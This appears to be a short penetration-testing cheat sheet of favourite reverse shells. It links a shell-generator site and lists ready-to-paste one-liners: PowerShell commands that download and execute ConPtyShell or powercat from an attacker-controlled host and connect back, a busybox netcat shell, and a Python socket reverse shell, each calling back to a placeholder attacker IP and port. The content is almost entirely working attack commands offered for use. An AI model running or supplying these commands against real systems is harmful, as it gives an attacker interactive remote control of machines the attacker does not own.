Beloved Shells
revshells.com
Try https://revshells.com to generate shells using a given port and IP
- take note to change the shell from
cmdto/bin/bashor whatever as needed
Solid RCE shell for Windows 1
- https://github.com/antonioCoco/ConPtyShell/blob/master/README.md
powershell IEX(IWR http://$kaliIP/Invoke-ConPtyShell.ps1 -UseBasicParsing); Invoke-ConPtyShell $kaliIP $kaliPort - need to be serving InvokeConPtyShell.ps1 from 80
Solid RCE shell for Windows 2
IEX(New-Object System.Net.WebClient).DownloadString('http://$kaliIP:$kaliPort/powercat.ps1'); powercat -c $kaliIP -p $kaliPort -e powershell
- need to be serving powercat.ps1 from 80
Linux
busybox nc $kaliIP $kaliPort -e sh
Python
Nested quotes:
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("$kaliIP",$kaliPort));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'